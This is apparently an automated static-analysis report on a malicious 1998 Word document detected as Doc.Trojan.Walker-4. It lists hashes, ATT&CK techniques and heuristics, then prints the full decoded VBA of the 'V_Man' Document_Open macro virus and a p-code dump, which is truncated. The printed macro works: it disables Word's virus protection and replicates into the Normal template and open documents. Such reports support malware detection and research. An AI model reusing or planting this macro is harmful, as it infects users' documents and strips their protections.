Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0cc93cf526b1e5f5…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-10-25 15:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7f9ee584efca0fc0c722c6efb0682611 SHA-1: 3ad234449d9119b6e4441a62f54640669a30d5d9 SHA-256: 0cc93cf526b1e5f5e0bb6b8e923b89b52f56ceab2f4067214f983701181acb6a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malware execution upon opening a document. The macro attempts to infect other documents by copying its malicious code, identified as 'V_Man', into the Normal template and the active document's template. This behavior strongly suggests a macro-based virus designed for propagation.

Heuristics 3

  • ClamAV: Doc.Trojan.Walker-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6388 bytes
SHA-256: 263cd55e3cdace63807a7e973d715c1d35f383eb200e2c227b3446bc46f56e8d
Detection
ClamAV: Doc.Trojan.Walker-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
GoTo 10
10 Application.EnableCancelKey = wdCancelDisabled: GoTo 20
20 Options.VirusProtection = False: GoTo 30
30 Options.SaveNormalPrompt = False: GoTo 40
40 Application.CommandBars("Tools").Controls(12).Visible = False: GoTo 50
50 Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule: GoTo 60
60 Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule: GoTo 70
70 NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 80
80 AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 90
90 If UCase(NI) = "ON ERROR RESUME NEXT" Then NormInstalled = True Else NormInstalled = False: GoTo 100
100 If UCase(AI) = "ON ERROR RESUME NEXT" Then ActInstalled = True Else ActInstalled = False: GoTo 110
110 If NormInstalled = True And ActInstalled = True Then Exit Sub: GoTo 120
120 If NormInstalled = False Then: Set Infection = NormCarrier: Set Carrier = ActCarrier: Else: Set Infection = ActCarrier: Set Carrier = NormCarrier: GoTo 130
130 IL = Carrier.CountOfLines: GoTo 140
140 With Carrier: VirCode = .Lines(1, .CountOfLines): End With: GoTo 150
150 With Infection: .DeleteLines 1, Infection.CountOfLines: .InsertLines 1, VirCode: End With: GoTo 160
160 Randomize Timer: GoTo 170
170 For i = 4 To IL - 1: RL = Int(Rnd * (IL - 5)) + 4: GCL = Infection.Lines(i, 1): Infection.DeleteLines i, 1: Infection.InsertLines RL, GCL: Next i: GoTo 180
180 WrittenBy = "Lord_Arz  [SOS] {F#S}": VirusN = "V_Man": Exit Sub
End Sub


' Processing file: /opt/analyzer/scan_staging/740593c110a64c7cb5637d37e938db4b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3057 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	GoTo 10 
' Line #3:
' 	LineNum 10 
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' 	BoS 0x0000 
' 	GoTo 20 
' Line #4:
' 	LineNum 20 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	GoTo 30 
' Line #5:
' 	LineNum 30 
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	GoTo 40 
' Line #6:
' 	LineNum 40 
' 	LitVarSpecial (False)
' 	LitDI2 0x000C 
' 	LitStr 0x0005 "Tools"
' 	Ld Application 
' 	ArgsMemLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	GoTo 50 
' Line #7:
' 	LineNum 50 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set ActCarrier 
' 	BoS 0x0000 
' 	GoTo 60 
' Line #8:
' 	LineNum 60 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NormCarrier 
' 	BoS 0x0000 
' 	GoTo 70 
' Line #9:
' 	LineNum 70 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St NI 
' 	BoS 0x0000 
' 	GoTo 80 
' Line #10:
' 	LineNum 80 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St AI 
' 	BoS 0x0000 
' 	GoTo 90 
' Line #11:
' 	LineNum 90 
' 	Ld NI 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "ON ERROR RESUME NEXT"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstalled 
' 	Else 
' 	BoSImplicit 
' 	LitVarSpecial (False)
' 	St NormInstalled 
' 	BoS 0x0000 
' 	GoTo 100 
' 	EndIf 
' Line #12:
' 	LineNum 100 
' 	Ld AI 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "ON ERROR RESUME NEXT"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActInstalled 
' 	Else 
' 	BoSImplicit 
' 	LitVar
... (truncated)